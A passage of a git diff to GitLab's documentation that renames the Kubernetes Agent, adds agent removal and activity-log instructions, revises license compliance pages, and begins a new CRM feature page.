-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in GitLab 13.4.
> - Support for `grpcs` [introduced](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/7) in GitLab 13.6.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300960) in GitLab 13.10, KAS became available on GitLab.com under `wss://kas.gitlab.com` through an Early Adopter Program.
-> - Introduced in GitLab 13.11, the GitLab Kubernetes Agent became available to every project on GitLab.com.
-> - The GitLab Kubernetes Agent was [moved](https://gitlab.com/groups/gitlab-org/-/epics/6290) to GitLab Free in 14.5.
+> - Introduced in GitLab 13.11, the GitLab Agent became available to every project on GitLab.com.
+> - [Moved](https://gitlab.com/groups/gitlab-org/-/epics/6290) from GitLab Premium to GitLab Free in 14.5.
+> - [Renamed](https://gitlab.com/groups/gitlab-org/-/epics/7167) from "GitLab Kubernetes Agent" to "GitLab Agent for Kubernetes" in GitLab 14.6.
-The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) ("Agent", for short)
+The [GitLab Agent for Kubernetes](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) ("Agent", for short)
is an active in-cluster component for connecting Kubernetes clusters to GitLab safely to support cloud-native deployment, management, and monitoring.
The Agent is installed into the cluster through code, providing you with a fast, safe, stable, and scalable solution.
+INFO:
+Get Network Security Alerts in GitLab by upgrading to Ultimate.
+[Try a free 30-day trial now](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-cluster-agent-docs).
+
With GitOps, you can manage containerized clusters and applications from a Git repository that:
- Is the single source of truth of your system.
@@ -34,7 +39,7 @@ the all-in-one DevOps platform for your product and your team.
## Agent's features
-By using the GitLab Kubernetes Agent, you can:
+By using the Agent, you can:
- Connect GitLab with a Kubernetes cluster behind a firewall or a
Network Address Translation (NAT).
@@ -49,7 +54,7 @@ from GitLab CI/CD jobs while keeping the cluster's APIs safe and unexposed
to the internet.
- [Deploy the GitLab Runner in a Kubernetes cluster](https://docs.gitlab.com/runner/install/kubernetes-agent.html).
-See the [GitLab Kubernetes Agent roadmap](https://gitlab.com/groups/gitlab-org/-/epics/3329) to track its development.
+See the [Agent roadmap](https://gitlab.com/groups/gitlab-org/-/epics/3329) to track its development.
To contribute to the Agent, see the [Agent's development documentation](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/tree/master/doc).
@@ -64,7 +69,7 @@ sequenceDiagram
participant D as Developer
participant A as Application code repository
participant M as Manifest repository
- participant K as Kubernetes Agent
+ participant K as GitLab Agent
participant C as Agent configuration repository
loop Regularly
K-->>C: Grab the configuration
@@ -81,7 +86,7 @@ For more details, refer to our [architecture documentation](https://gitlab.com/g
## Install the Agent in your cluster
-See how to [install the GitLab Kubernetes Agent in your cluster](install/index.md).
+See how to [install the Agent in your cluster](install/index.md).
## GitOps deployments **(PREMIUM)**
@@ -129,7 +134,28 @@ with the following differences:
- When you define a configuration repository, you must do so with [Cilium settings](repository.md#surface-network-security-alerts-from-cluster-to-gitlab).
- You do not need to specify the `gitops` configuration section.
-## Remove the GitLab Kubernetes Agent
+## Remove an agent
+
+1. Get the `<cluster-agent-id>` and the `<cluster-agent-token-id>` from a query in the interactive GraphQL explorer.
+For GitLab.com, go to <https://gitlab.com/-/graphql-explorer> to open GraphQL Explorer.
+For self-managed GitLab instances, go to `https://gitlab.example.com/-/graphql-explorer`, replacing `gitlab.example.com` with your own instance's URL.
+
+ ```graphql
+ query{
+ project(fullPath: "<full-path-to-agent-configuration-project>") {
+ clusterAgent(name: "<agent-name>") {
+ id
+ tokens {
+ edges {
+ node {
+ id
+ }
+ }
+ }
+ }
+ }
+ }
+ ```
1. Remove an Agent record with GraphQL by deleting the `clusterAgent` and the `clusterAgentToken`.
@@ -158,7 +184,7 @@ with the following differences:
}
```
-1. Delete the GitLab Kubernetes Agent in your cluster:
+1. Delete the Agent in your cluster:
```shell
kubectl delete -n gitlab-kubernetes-agent -f ./resources.yml
@@ -166,14 +192,14 @@ with the following differences:
## Troubleshooting
-If you face any issues while using GitLab Kubernetes Agent, you can read the
-service logs with the following command
+If you face any issues while using the Agent, read the
+service logs with the following command:
```shell
kubectl logs -f -l=app=gitlab-kubernetes-agent -n gitlab-kubernetes-agent
```
-GitLab administrators can additionally view the [Kubernetes Agent Server logs](../../../administration/clusters/kas.md#troubleshooting).
+GitLab administrators can additionally view the [GitLab Agent Server logs](../../../administration/clusters/kas.md#troubleshooting).
### Agent logs
diff --git a/doc/user/clusters/agent/install/index.md b/doc/user/clusters/agent/install/index.md
index fad9d4f08f1..cf8467a8d28 100644
--- a/doc/user/clusters/agent/install/index.md
+++ b/doc/user/clusters/agent/install/index.md
@@ -4,11 +4,11 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Install the GitLab Kubernetes Agent **(FREE)**
+# Install the GitLab Agent **(FREE)**
-> [Moved](https://gitlab.com/groups/gitlab-org/-/epics/6290) to GitLab Free in 14.5.
+> [Moved](https://gitlab.com/groups/gitlab-org/-/epics/6290) from GitLab Premium to GitLab Free in 14.5.
-To get started with the GitLab Kubernetes Agent, install it in your cluster.
+To get started with the Agent, install it in your cluster.
Pre-requisites:
@@ -17,24 +17,24 @@ Pre-requisites:
## Installation steps
-To install the [GitLab Kubernetes Agent](../index.md) in your cluster:
+To install the [Agent](../index.md) in your cluster:
-1. [Set up the Kubernetes Agent Server](#set-up-the-kubernetes-agent-server) for your GitLab instance.
+1. [Set up the Agent Server](#set-up-the-agent-server) for your GitLab instance.
1. [Define a configuration repository](#define-a-configuration-repository).
-1. [Create an Agent record in GitLab](#create-an-agent-record-in-gitlab).
-1. [Install the Agent into the cluster](#install-the-agent-into-the-cluster).
-1. [Generate and copy a Secret token used to connect to the Agent](#create-the-kubernetes-secret).
+1. [Register an agent with GitLab](#register-an-agent-with-gitlab).
+1. [Install the agent into the cluster](#install-the-agent-into-the-cluster).
+1. [Generate and copy a Secret token used to connect to the agent](#create-the-kubernetes-secret).
1. [Create manifest files](#create-manifest-files).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch a GitLab 14.2 [walking-through video](https://www.youtube.com/watch?v=XuBpKtsgGkE) with this process.
-### Set up the Kubernetes Agent Server
+### Set up the Agent Server
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.10, the GitLab Kubernetes Agent Server (KAS) became available on GitLab.com under `wss://kas.gitlab.com`.
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.10, the GitLab Agent Server (KAS) became available on GitLab.com under `wss://kas.gitlab.com`.
To use the KAS:
-- If you are a self-managed user, follow the instructions to [install the Kubernetes Agent Server](../../../../administration/clusters/kas.md).
+- If you are a self-managed user, follow the instructions to [install the Agent Server](../../../../administration/clusters/kas.md).
- If you are a GitLab.com user, when you [set up the configuration repository](#define-a-configuration-repository) for your agent, use `wss://kas.gitlab.com` as the `--kas-address`.
### Define a configuration repository
@@ -42,7 +42,7 @@ To use the KAS:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in GitLab 13.7, the Agent manifest configuration can be added to multiple directories (or subdirectories) of its repository.
> - Group authorization was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/5784) in GitLab 14.3.
-To configure an Agent, you need:
+To create an agent, you need:
1. A GitLab repository to hold the configuration file.
1. Install the Agent in a cluster.
@@ -58,27 +58,24 @@ In your repository, add the Agent configuration file under:
Make sure that `<agent-name>` conforms to the [Agent's naming format](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/identity_and_auth.md#agent-identity-and-name).
-Your `config.yaml` file specifies all configurations of the Agent, such as:
+WARNING:
+The agent is only recognized if you use `.yaml` extension for the `config.yaml` file. The extension `.yml` is **not** recognized.
-- The manifest projects to synchronize.
-- The groups that can access this Agent via the [CI/CD Tunnel](../ci_cd_tunnel.md).
-- The address of the `hubble-relay` for the Network Security policy integrations.
+You **don't have to add any content** to this file when you create it. The fact that the file exists
+tells GitLab that this is an agent configuration file. It doesn't do anything so far, but, later on, you can use this
+file to [configure the agent](../repository.md) by setting up parameters such as:
-As an example, a minimal Agent configuration that sets up only the manifest
-synchronizations is:
+- Groups and projects that can access the agent via the [CI/CD Tunnel](../ci_cd_tunnel.md).
+- [Manifest projects to synchronize](../repository.md#synchronize-manifest-projects).
+- The address of the `hubble-relay` for the [Network Security policy integrations](../../../project/clusters/protect/index.md).
-```yaml
-gitops:
- manifest_projects:
- # The `id` is the path to the Git repository holding your manifest files
- - id: "path/to/your-manifest-project-1"
- paths:
- - glob: '/**/*.{yaml,yml,json}'
-```
+To see all the settings available, read the [Agent configuration repository documentation](../repository.md).
-All the options for the [Kubernetes Agent configuration repository](../repository.md) are documented separately.
+### Access your cluster from GitLab CI/CD
-### Create an Agent record in GitLab
+Use the [CI/CD Tunnel](../ci_cd_tunnel.md#example-for-a-kubectl-command-using-the-cicd-tunnel) to access your cluster from GitLab CI/CD.
+
+### Register an agent with GitLab
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5786) in GitLab 14.1, you can create a new Agent record directly from the GitLab UI.
@@ -91,7 +88,7 @@ In GitLab:
1. Ensure that [GitLab CI/CD is enabled in your project](../../../../ci/enable_or_disable_ci.md#enable-cicd-in-a-project).
1. From your project's sidebar, select **Infrastructure > Kubernetes clusters**.
1. Select **Actions**.
-1. From the **Select an Agent** dropdown, select the Agent you want to connect and select **Register Agent** to access the installation form.
+1. From the **Select an agent** dropdown, select the agent you want to connect and select **Register an agent** to access the installation form.
1. The form reveals your registration token. Securely store this secret token as you cannot view it again.
1. Copy the command under **Recommended installation method**.
@@ -100,7 +97,7 @@ In your computer:
1. Open your local terminal and connect to your cluster.
1. Run the command you copied from the installation form.
-### Install the Agent into the cluster
+### Install the agent into the cluster
To install the in-cluster component of the Agent, first you need to define a namespace. To create a new namespace,
for example, `gitlab-kubernetes-agent`, run:
@@ -113,7 +110,7 @@ To perform a one-liner installation, run the command below. Make sure to replace
- `your-agent-token` with the token received from the previous step (identified as `secret` in the JSON output).
- `gitlab-kubernetes-agent` with the namespace you defined in the previous step.
-- `wss://kas.gitlab.example.com` with the configured access of the Kubernetes Agent Server (KAS). For GitLab.com users, the KAS is available under `wss://kas.gitlab.com`.
+- `wss://kas.gitlab.example.com` with the configured access of the Agent Server (KAS). For GitLab.com users, the KAS is available under `wss://kas.gitlab.com`.
- `--agent-version=vX.Y.Z` with the latest released patch version matching your GitLab installation's major and minor versions. For example, for GitLab v13.9.0, use `--agent-version=v13.9.1`. You can find your GitLab version under the "Help/Help" menu.
```shell
@@ -151,7 +148,7 @@ Kubernetes resources required for the Agent to be installed. You can modify this
example [`resources.yml` file](#example-resourcesyml-file) in the following ways:
- Replace `namespace: gitlab-kubernetes-agent` with `namespace: <YOUR-DESIRED-NAMESPACE>`.
-- You can configure `kas-address` (Kubernetes Agent Server) in several ways.
+- You can configure `kas-address` (Agent Server) in several ways.
The agent can use the WebSockets or gRPC protocols to connect to the Agent Server.
Select the option appropriate for your cluster configuration and GitLab architecture:
- The `wss` scheme (an encrypted WebSockets connection) is specified by default
@@ -334,7 +331,7 @@ data:
## Example projects
-The following example projects can help you get started with the Kubernetes Agent.
+The following example projects can help you get started with the Agent.
- [Configuration repository](https://gitlab.com/gitlab-org/configure/examples/kubernetes-agent)
- This basic GitOps example deploys NGINX: [Manifest repository](https://gitlab.com/gitlab-org/configure/examples/gitops-project)
@@ -342,18 +339,44 @@ The following example projects can help you get started with the Kubernetes Agen
## View installed Agents
Users with at least the [Developer](../../../permissions.md) can access the user interface
-for the GitLab Kubernetes Agent at **Infrastructure > Kubernetes clusters**, under the
+for the Agent at **Infrastructure > Kubernetes clusters**, under the
**Agent** tab. This page lists all registered agents for the current project,
and the configuration directory for each agent:
-![GitLab Kubernetes Agent list UI](../../img/kubernetes-agent-ui-list_v14_5.png)
+![GitLab Agent list UI](../../img/kubernetes-agent-ui-list_v14_5.png)
-Additional management interfaces are planned for the GitLab Kubernetes Agent.
+Additional management interfaces are planned for the GitLab Agent.
[Provide more feedback in the related epic](https://gitlab.com/groups/gitlab-org/-/epics/4739).
+## View Agent activity information
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/277323) in GitLab 14.6.
+
+Users with at least the [Developer](../../../permissions.md) can view the Agent's activity events.
+The activity logs help you to identify problems and get the information you need for troubleshooting.
+You can see events from a week before the current date.
+To access an agent's activity:
+
+1. Go to your agent's configuration repository.
+1. From the sidebar, select **Infrastructure > Kubernetes clusters**.
+1. Select the **Agent** tab.
+1. Select the agent you want to see the activity.
+
+You can see the following events on the activity list:
+
+- Agent registration:
+ - When a new token is **created**.
+- Connection events:
+ - When an agent is successfully **connected** to a cluster.
+
+Note that the connection status is logged when you connect an agent for the first time
+or after more than an hour of inactivity.
+
+![GitLab Agent activity events UI](../../img/gitlab_agent_activity_events_v14_6.png)
+
## Upgrades and version compatibility
-The GitLab Kubernetes Agent is comprised of two major components: `agentk` and `kas`.
+The Agent is comprised of two major components: `agentk` and `kas`.
As we provide `kas` installers built into the various GitLab installation methods, the required `kas` version corresponds to the GitLab `major.minor` (X.Y) versions.
At the same time, `agentk` and `kas` can differ by 1 minor version in either direction. For example,
diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md
index 6ceb2766cc9..c8ab037118e 100644
--- a/doc/user/clusters/agent/repository.md
+++ b/doc/user/clusters/agent/repository.md
@@ -4,20 +4,20 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Kubernetes Agent configuration repository **(FREE)**
+# Agent configuration repository **(FREE)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7.
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.11, the Kubernetes Agent became available on GitLab.com.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in GitLab 13.7.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.11, the GitLab Agent became available on GitLab.com.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5784) the `ci_access` attribute in GitLab 14.3.
+> - [Moved](https://gitlab.com/groups/gitlab-org/-/epics/6290) from GitLab Premium to GitLab Free in 14.5.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332227) in GitLab 14.0, the `resource_inclusions` and `resource_exclusions` attributes were removed and `reconcile_timeout`, `dry_run_strategy`, `prune`, `prune_timeout`, `prune_propagation_policy`, and `inventory_policy` attributes were added.
-> - The `ci_access` attribute was [introduced](https://gitlab.com/groups/gitlab-org/-/epics/5784) in GitLab 14.3.
-> - The GitLab Kubernetes Agent was [moved](https://gitlab.com/groups/gitlab-org/-/epics/6290) to GitLab Free in 14.5.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
-The [GitLab Kubernetes Agent integration](index.md) supports hosting your configuration for
-multiple GitLab Kubernetes Agents in a single repository. These agents can be running
-in the same cluster or in multiple clusters, and potentially with more than one Agent per cluster.
+The [GitLab Agent](index.md) supports hosting your configuration for
+multiple agents in a single repository. These agents can be running
+in the same cluster or in multiple clusters, and potentially with more than one agent per cluster.
The Agent bootstraps with the GitLab installation URL and an authentication token,
and you provide the rest of the configuration in your repository, following
@@ -128,7 +128,7 @@ operations. If such functionality is needed, you may use multiple agents reading
manifests from the same repository.
Ensure not to specify "overlapping" globs to avoid synchronizing the same files more than once.
-This is detected by the GitLab Kubernetes Agent and leads to an error.
+This is detected by the Agent and leads to an error.
INCORRECT - both globs match `*.yaml` files in the root directory:
@@ -299,7 +299,7 @@ cilium:
hubble_relay_address: "hubble-relay.gitlab-managed-apps.svc.cluster.local:80"
```
-## Scan your container images for vulnerabilities
+## Scan your container images for vulnerabilities **(ULTIMATE)**
You can use [cluster image scanning](../../application_security/cluster_image_scanning/index.md)
to scan container images in your cluster for security vulnerabilities.
@@ -385,7 +385,7 @@ In this example, the following resources are scanned:
## Debugging
-To debug the cluster-side component (`agentk`) of the GitLab Kubernetes Agent, set the log
+To debug the cluster-side component (`agentk`) of the Agent, set the log
level according to the available options:
- `off`
diff --git a/doc/user/clusters/cost_management.md b/doc/user/clusters/cost_management.md
index 3ad994ecd7e..14850ca85b3 100644
--- a/doc/user/clusters/cost_management.md
+++ b/doc/user/clusters/cost_management.md
@@ -22,8 +22,7 @@ insights within GitLab:
## Configure cluster cost management
-To get started with cluster cost management, you need [Maintainer](../permissions.md)
-permissions in a project or group.
+To get started with cluster cost management, you need the [Maintainer role](../permissions.md) in a project or group.
1. Clone the [`kubecost-cost-model`](https://gitlab.com/gitlab-examples/kubecost-cost-model/)
example repository, which contains minor modifications to the upstream Kubecost
diff --git a/doc/user/clusters/environments.md b/doc/user/clusters/environments.md
index 72bc7b398dc..71eb08ee640 100644
--- a/doc/user/clusters/environments.md
+++ b/doc/user/clusters/environments.md
@@ -6,8 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Cluster Environments (DEPRECATED) **(PREMIUM)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13392) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3 for group-level clusters.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14809) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.4 for instance-level clusters.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13392) in GitLab 12.3 for group-level clusters.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14809) in GitLab 12.4 for instance-level clusters.
> - [Deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
WARNING:
diff --git a/doc/user/clusters/img/gitlab_agent_activity_events_v14_6.png b/doc/user/clusters/img/gitlab_agent_activity_events_v14_6.png
new file mode 100644
index 00000000000..90b41ee849c
--- /dev/null
+++ b/doc/user/clusters/img/gitlab_agent_activity_events_v14_6.png
Binary files differ
diff --git a/doc/user/clusters/integrations.md b/doc/user/clusters/integrations.md
index d04cf64d93a..ee7452537fd 100644
--- a/doc/user/clusters/integrations.md
+++ b/doc/user/clusters/integrations.md
@@ -32,9 +32,9 @@ to automate this step.
Prometheus and Elastic Stack cluster integrations can only be enabled for clusters [connected through cluster certificates](../project/clusters/add_existing_cluster.md).
-To enable Prometheus for your cluster connected through the [GitLab Kubernetes Agent](agent/index.md), you can [integrate it manually](../project/integrations/prometheus.md#manual-configuration-of-prometheus).
+To enable Prometheus for your cluster connected through the [GitLab Agent](agent/index.md), you can [integrate it manually](../project/integrations/prometheus.md#manual-configuration-of-prometheus).
-There is no option to enable Elastic Stack for your cluster if it is connected with the GitLab Kubernetes Agent.
+There is no option to enable Elastic Stack for your cluster if it is connected with the GitLab Agent.
Follow this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/300230) for updates.
## Prometheus cluster integration
@@ -44,7 +44,7 @@ Follow this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/300230) for up
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5. However, you can **still use** Prometheus
for Kubernetes clusters connected to GitLab through the
-[GitLab Kubernetes Agent](agent/index.md) by [enabling Prometheus manually](../project/integrations/prometheus.md#manual-configuration-of-prometheus).
+[Agent](agent/index.md) by [enabling Prometheus manually](../project/integrations/prometheus.md#manual-configuration-of-prometheus).
You can integrate your Kubernetes cluster with
[Prometheus](https://prometheus.io/) for monitoring key metrics of your
diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md
index 1332310b850..e28f9275b50 100644
--- a/doc/user/clusters/management_project.md
+++ b/doc/user/clusters/management_project.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
The cluster management project was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5.
-To manage cluster applications, use the [GitLab Kubernetes Agent](agent/index.md)
+To manage cluster applications, use the [GitLab Agent](agent/index.md)
with the [Cluster Management Project Template](management_project_template.md).
A project can be designated as the management project for a cluster.
diff --git a/doc/user/clusters/management_project_template.md b/doc/user/clusters/management_project_template.md
index c663246cdd8..2d7e89ef765 100644
--- a/doc/user/clusters/management_project_template.md
+++ b/doc/user/clusters/management_project_template.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25318) in GitLab 12.10 with Helmfile support via Helm v2.
> - Helm v2 support was [dropped](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63577) in GitLab 14.0. Use Helm v3 instead.
-> - [Migrated](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/merge_requests/24) to the GitLab Kubernetes Agent in GitLab 14.5.
+> - [Migrated](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/merge_requests/24) to the GitLab Agent in GitLab 14.5.
Use a repository to install, manage, and deploy clusters applications through code.
@@ -31,10 +31,10 @@ you can manage cluster applications with [Helm v3](https://helm.sh/).
- An `applications` directory with a `helmfile.yaml` configured for each
application available in the template.
-## Use the Kubernetes Agent with the Cluster Management Project Template
+## Use the Agent with the Cluster Management Project Template
To use a new project created from the Cluster Management Project Template
-with a cluster connected to GitLab through the [GitLab Kubernetes Agent](agent/index.md),
+with a cluster connected to GitLab through the [GitLab Agent](agent/index.md),
you have two options:
- [Use one single project](#single-project) to configure the Agent and manage cluster applications.
diff --git a/doc/user/clusters/migrating_from_gma_to_project_template.md b/doc/user/clusters/migrating_from_gma_to_project_template.md
index 2da058fb5bc..20c4408d57e 100644
--- a/doc/user/clusters/migrating_from_gma_to_project_template.md
+++ b/doc/user/clusters/migrating_from_gma_to_project_template.md
@@ -4,7 +4,7 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Migrate from GitLab Managed Apps to Cluster Management Projects
+# Migrate from GitLab Managed Apps to Cluster Management Projects **(FREE)**
The [GitLab Managed Apps](applications.md) were deprecated in GitLab 14.0
in favor of [Cluster Management Projects](management_project.md).
diff --git a/doc/user/compliance/compliance_dashboard/index.md b/doc/user/compliance/compliance_dashboard/index.md
deleted file mode 100644
index e7f6f908860..00000000000
--- a/doc/user/compliance/compliance_dashboard/index.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../compliance_report/index.md'
-remove_date: '2021-10-23'
----
-
-This file was moved to [another location](../compliance_report/index.md).
-
-<!-- This redirect file can be deleted after <2021-10-23>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_3.png b/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_3.png
index 85b2a52e04b..256c66bf7d8 100644
--- a/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_3.png
+++ b/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_3.png
Binary files differ
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index 319c1ca6278..f89165e7e2d 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -14,6 +14,10 @@ project's dependencies for their licenses. You can then decide whether to allow
each license. For example, if your application uses an external (open source) library whose license
is incompatible with yours, then you can deny the use of that license.
+INFO:
+Try License Compliance scanning to search project dependencies in GitLab Ultimate.
+[It's free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-compliance-docs).
+
You can take advantage of License Compliance by either:
- [Including the job](#configuration)
@@ -22,8 +26,9 @@ You can take advantage of License Compliance by either:
[Auto License Compliance](../../../topics/autodevops/stages.md#auto-license-compliance),
provided by [Auto DevOps](../../../topics/autodevops/index.md).
-The [License Finder](https://github.com/pivotal/LicenseFinder) scan tool runs as part of the CI/CD
-pipeline, and detects the licenses in use. GitLab checks the License Compliance report, compares the
+To detect the licenses in use, License Compliance uses the [License Finder](https://github.com/pivotal/LicenseFinder) scan tool that runs as part of the CI/CD pipeline.
+For the job to activate, License Finder needs to find a compatible package definition in the project directory. For details, see the [Activation on License Finder documentation](https://github.com/pivotal/LicenseFinder#activation).
+GitLab checks the License Compliance report, compares the
licenses between the source and target branches, and shows the information right on the merge
request. Denied licenses are indicated by a `x` red icon next to them as well as new licenses that
need a decision from you. In addition, you can [manually allow or deny](#policies) licenses in your
@@ -47,6 +52,7 @@ When GitLab detects a **Denied** license, you can view it in the [license list](
![License List](img/license_list_v13_0.png)
You can view and modify existing policies from the [policies](#policies) tab.
+
![Edit Policy](img/policies_maintainer_edit_v14_3.png)
## License expressions
@@ -126,7 +132,7 @@ the `license_management` job, so you must migrate to the `license_scanning` job
`License-Scanning.gitlab-ci.yml` template.
The results are saved as a
-[License Compliance report artifact](../../../ci/yaml/index.md#artifactsreportslicense_scanning)
+[License Compliance report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportslicense_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest License Compliance artifact available. Behind the scenes, the
[GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder)
@@ -172,7 +178,7 @@ For that, a `SETUP_CMD` CI/CD variable can be passed to the container,
with the required commands to run before the license detection.
If present, this variable overrides the setup step necessary to install all the packages
-of your application (e.g.: for a project with a `Gemfile`, the setup step could be
+of your application (for example: for a project with a `Gemfile`, the setup step could be
`bundle install`).
For example:
@@ -190,8 +196,8 @@ directory of your project.
### Working with Monorepos
-Depending on your language, you may need to specify the path to the individual
-projects of a monorepo using the `LICENSE_FINDER_CLI_OPTS` variable. Passing in
+Depending on your language, you may need to specify the path to the individual
+projects of a monorepo using the `LICENSE_FINDER_CLI_OPTS` variable. Passing in
the project paths can significantly speed up builds over using the `--recursive`
license_finder option.
@@ -540,24 +546,24 @@ configured to use this as the default `CA_CERT_PATH`.
### Configuring Go projects
To configure [Go modules](https://github.com/golang/go/wiki/Modules)
-based projects, specify [CI/CD variables](https://golang.org/pkg/cmd/go/#hdr-Environment_variables)
+based projects, specify [CI/CD variables](https://pkg.go.dev/cmd/go#hdr-Environment_variables)
in the `license_scanning` job's [variables](#available-cicd-variables) section in `.gitlab-ci.yml`.
-If a project has [vendored](https://golang.org/pkg/cmd/go/#hdr-Vendor_Directories) its modules,
+If a project has [vendored](https://pkg.go.dev/cmd/go#hdr-Vendor_Directories) its modules,
then the combination of the `vendor` directory and `mod.sum` file are used to detect the software
licenses associated with the Go module dependencies.
#### Using private Go registries
-You can use the [`GOPRIVATE`](https://golang.org/pkg/cmd/go/#hdr-Environment_variables)
-and [`GOPROXY`](https://golang.org/pkg/cmd/go/#hdr-Environment_variables)
+You can use the [`GOPRIVATE`](https://pkg.go.dev/cmd/go#hdr-Environment_variables)
+and [`GOPROXY`](https://pkg.go.dev/cmd/go#hdr-Environment_variables)
environment variables to control where modules are sourced from. Alternatively, you can use
-[`go mod vendor`](https://golang.org/ref/mod#tmp_28) to vendor a project's modules.
+[`go mod vendor`](https://go.dev/ref/mod#tmp_28) to vendor a project's modules.
#### Custom root certificates for Go
-You can specify the [`-insecure`](https://golang.org/pkg/cmd/go/internal/get/) flag by exporting the
-[`GOFLAGS`](https://golang.org/cmd/go/#hdr-Environment_variables)
+You can specify the [`-insecure`](https://pkg.go.dev/cmd/go/internal/get) flag by exporting the
+[`GOFLAGS`](https://pkg.go.dev/cmd/go#hdr-Environment_variables)
environment variable. For example:
```yaml
diff --git a/doc/user/crm/crm_contacts_v14_6.png b/doc/user/crm/crm_contacts_v14_6.png
new file mode 100644
index 00000000000..37a615f3926
--- /dev/null
+++ b/doc/user/crm/crm_contacts_v14_6.png
Binary files differ
diff --git a/doc/user/crm/crm_organizations_v14_6.png b/doc/user/crm/crm_organizations_v14_6.png
new file mode 100644
index 00000000000..2bde3823cc7
--- /dev/null
+++ b/doc/user/crm/crm_organizations_v14_6.png
Binary files differ
diff --git a/doc/user/crm/index.md b/doc/user/crm/index.md
new file mode 100644
index 00000000000..d68ce0a4f7a
--- /dev/null
+++ b/doc/user/crm/index.md
@@ -0,0 +1,141 @@
+---
+stage: Plan
+group: Product Planning
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Customer relations management (CRM) **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2256) in GitLab 14.6 [with a flag](../../administration/feature_flags.md) named `customer_relations`. Disabled by default.
+
+FLAG:
+On self-managed GitLab, by default this feature is not available. To make it available,
+ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `customer_relations`.
+On GitLab.com, this feature is not available.
+You should not use this feature for production environments.
+
+With customer relations management (CRM) you can create a record of contacts
+(individuals) and organizations (companies) and relate them to issues.
+
+You can use contacts and organizations to tie work to customers for billing and reporting purposes.
+To read more about what is planned for the future, see [issue 2256](https://gitlab.com/gitlab-org/gitlab/-/issues/2256).
+
+## Contacts
+
+### View contacts linked to a group
+
+To view a group's contacts:
+
+1. On the top bar, select **Menu > Groups** and find your group.
